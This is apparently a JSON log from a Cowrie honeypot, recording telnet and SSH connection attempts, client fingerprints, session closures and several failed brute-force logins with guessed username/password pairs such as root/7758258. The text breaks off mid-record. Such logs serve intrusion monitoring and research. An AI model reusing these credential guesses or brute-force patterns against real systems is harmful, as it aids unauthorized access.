{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":46360,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b2a569ee184","protocol":"telnet","message":"New connection: 108.179.216.206:46360 (10.17.0.5:23) [session: 5b2a569ee184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:12.825880Z"}
{"eventid":"cowrie.session.closed","duration":35.405256271362305,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:13.461320Z","src_ip":"108.179.216.206","session":"4a9768ad2590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.548287868499756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:13.896592Z","src_ip":"108.179.216.206","session":"841a7f61dded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54032,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28535782d33","protocol":"telnet","message":"New connection: 108.179.216.206:54032 (10.17.0.5:23) [session: e28535782d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:13.974968Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54594,"dst_ip":"159.203.135.109","dst_port":23,"session":"622387685a76","protocol":"telnet","message":"New connection: 209.126.87.217:54594 (159.203.135.109:23) [session: 622387685a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:14.089609Z"}
{"eventid":"cowrie.session.closed","duration":30.91774821281433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:14.525911Z","src_ip":"108.179.216.206","session":"ec63f1a18c40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55944,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3c116b5e54c","protocol":"telnet","message":"New connection: 108.179.216.206:55944 (10.17.0.5:23) [session: d3c116b5e54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:14.595939Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":57140,"dst_ip":"10.17.0.5","dst_port":23,"session":"90091125ccf5","protocol":"telnet","message":"New connection: 108.179.216.206:57140 (10.17.0.5:23) [session: 90091125ccf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:15.544545Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34970,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aa04e63632b","protocol":"ssh","message":"New connection: 159.203.92.129:34970 (159.203.135.109:22) [session: 4aa04e63632b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:15.968349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:15.975759Z","src_ip":"159.203.92.129","session":"4aa04e63632b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:15.982140Z","src_ip":"159.203.92.129","session":"4aa04e63632b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"O123456","message":"login attempt [ansible/O123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:15.994367Z","src_ip":"159.203.92.129","session":"4aa04e63632b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":49804,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb05db59c576","protocol":"ssh","message":"New connection: 171.244.141.86:49804 (159.203.135.109:22) [session: bb05db59c576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:16.083636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:16.090554Z","src_ip":"171.244.141.86","session":"bb05db59c576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:16.346732Z","src_ip":"171.244.141.86","session":"bb05db59c576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58204,"dst_ip":"10.17.0.5","dst_port":23,"session":"505335b63d85","protocol":"telnet","message":"New connection: 108.179.216.206:58204 (10.17.0.5:23) [session: 505335b63d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:16.458854Z"}
{"eventid":"cowrie.session.closed","duration":32.881657123565674,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:16.470414Z","src_ip":"209.126.87.217","session":"b690331b0c75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58246,"dst_ip":"10.17.0.5","dst_port":23,"session":"26681f21ea67","protocol":"telnet","message":"New connection: 108.179.216.206:58246 (10.17.0.5:23) [session: 26681f21ea67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:16.496114Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58374,"dst_ip":"10.17.0.5","dst_port":23,"session":"0be10167aa05","protocol":"telnet","message":"New connection: 108.179.216.206:58374 (10.17.0.5:23) [session: 0be10167aa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:16.613221Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:17.005765Z","src_ip":"159.203.92.129","session":"4aa04e63632b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.517457246780396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:17.127717Z","src_ip":"108.179.216.206","session":"40e0e656bc25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113866329193115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:17.196652Z","src_ip":"108.179.216.206","session":"51ba2c9c4374","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"7758258","message":"login attempt [root/7758258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:17.409721Z","src_ip":"171.244.141.86","session":"bb05db59c576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.77301239967346,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:17.840813Z","src_ip":"209.126.87.217","session":"a732aa174864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88681602478027,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:17.910962Z","src_ip":"209.126.87.217","session":"2a8c5cf83686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.561590433120728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:17.929760Z","src_ip":"108.179.216.206","session":"b921f1ed014b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58758,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb7d87fbab4","protocol":"telnet","message":"New connection: 108.179.216.206:58758 (10.17.0.5:23) [session: 8cb7d87fbab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:18.008527Z"}
{"eventid":"cowrie.session.closed","duration":34.464072704315186,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:18.244514Z","src_ip":"209.126.87.217","session":"95938085794c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695324182510376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:18.432953Z","src_ip":"108.179.216.206","session":"60f16719227d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:18.669245Z","src_ip":"171.244.141.86","session":"bb05db59c576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.79258370399475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:18.702392Z","src_ip":"108.179.216.206","session":"4c97cffe919b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60970,"dst_ip":"10.17.0.5","dst_port":23,"session":"939e88dc17a3","protocol":"telnet","message":"New connection: 108.179.216.206:60970 (10.17.0.5:23) [session: 939e88dc17a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:18.806856Z"}
{"eventid":"cowrie.session.closed","duration":30.96618676185608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:19.172831Z","src_ip":"108.179.216.206","session":"2f188261aec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":33324,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c8606bf10f","protocol":"telnet","message":"New connection: 108.179.216.206:33324 (10.17.0.5:23) [session: 47c8606bf10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:19.347019Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58342,"dst_ip":"10.17.0.5","dst_port":23,"session":"54976aa52472","protocol":"telnet","message":"New connection: 108.179.216.206:58342 (10.17.0.5:23) [session: 54976aa52472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:19.587376Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":33706,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5688824a81f","protocol":"telnet","message":"New connection: 108.179.216.206:33706 (10.17.0.5:23) [session: f5688824a81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:19.590866Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":34268,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf245cae31e7","protocol":"telnet","message":"New connection: 108.179.216.206:34268 (10.17.0.5:23) [session: cf245cae31e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:20.034431Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34366,"dst_ip":"159.203.135.109","dst_port":23,"session":"fea43fcf616d","protocol":"telnet","message":"New connection: 209.126.87.217:34366 (159.203.135.109:23) [session: fea43fcf616d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:20.583441Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":34370,"dst_ip":"159.203.135.109","dst_port":23,"session":"85cf6d87908a","protocol":"telnet","message":"New connection: 209.126.87.217:34370 (159.203.135.109:23) [session: 85cf6d87908a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:20.928006Z"}
{"eventid":"cowrie.session.closed","duration":31.341441869735718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:21.105185Z","src_ip":"108.179.216.206","session":"c6613524d505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046519994735718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:21.178835Z","src_ip":"108.179.216.206","session":"557911313b38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.03499913215637,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:21.222968Z","src_ip":"209.126.87.217","session":"a43f6a71e84b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":60208,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9d12b7788de","protocol":"telnet","message":"New connection: 108.179.216.206:60208 (10.17.0.5:23) [session: c9d12b7788de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:21.261844Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37552,"dst_ip":"10.17.0.5","dst_port":23,"session":"a17e4bcf4ddf","protocol":"telnet","message":"New connection: 108.179.216.206:37552 (10.17.0.5:23) [session: a17e4bcf4ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:22.781110Z"}
{"eventid":"cowrie.session.closed","duration":31.232389450073242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:23.566887Z","src_ip":"108.179.216.206","session":"16276cb9d0a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39136,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c79053f9648","protocol":"telnet","message":"New connection: 108.179.216.206:39136 (10.17.0.5:23) [session: 0c79053f9648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:23.965827Z"}
{"eventid":"cowrie.session.closed","duration":31.161282539367676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:24.282561Z","src_ip":"108.179.216.206","session":"59eec7e153f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697324514389038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:25.169664Z","src_ip":"108.179.216.206","session":"63d38a3c3503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":40828,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e61f727fda","protocol":"telnet","message":"New connection: 108.179.216.206:40828 (10.17.0.5:23) [session: 48e61f727fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:25.466609Z"}
{"eventid":"cowrie.session.closed","duration":31.426256895065308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:25.850206Z","src_ip":"108.179.216.206","session":"a3b66e2f8816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":41176,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c69549033f4","protocol":"telnet","message":"New connection: 108.179.216.206:41176 (10.17.0.5:23) [session: 1c69549033f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:26.732417Z"}
{"eventid":"cowrie.session.closed","duration":30.47223448753357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:27.120906Z","src_ip":"108.179.216.206","session":"c8433d5f51c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.732268810272217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:27.679920Z","src_ip":"108.179.216.206","session":"4b52ba680b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":42836,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb59828f07b","protocol":"ssh","message":"New connection: 103.146.202.174:42836 (159.203.135.109:22) [session: 6eb59828f07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:28.704085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:28.708964Z","src_ip":"103.146.202.174","session":"6eb59828f07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.41908836364746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:28.734696Z","src_ip":"108.179.216.206","session":"1fe9c252c69f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03314256668091,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:28.820920Z","src_ip":"209.126.87.217","session":"635f50af95b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":44870,"dst_ip":"10.17.0.5","dst_port":23,"session":"2644474154b3","protocol":"telnet","message":"New connection: 108.179.216.206:44870 (10.17.0.5:23) [session: 2644474154b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:28.898625Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:28.951537Z","src_ip":"103.146.202.174","session":"6eb59828f07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.72567129135132,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:29.432463Z","src_ip":"209.126.87.217","session":"617595cc3de0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.2571702003479,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:29.484742Z","src_ip":"209.126.87.217","session":"4744218084ad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"password321","message":"login attempt [user/password321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:29.985801Z","src_ip":"103.146.202.174","session":"6eb59828f07b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":57566,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f78e79add59","protocol":"ssh","message":"New connection: 45.43.86.48:57566 (10.17.0.5:22) [session: 2f78e79add59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:30.020185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:06:30.026249Z","src_ip":"45.43.86.48","session":"2f78e79add59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecd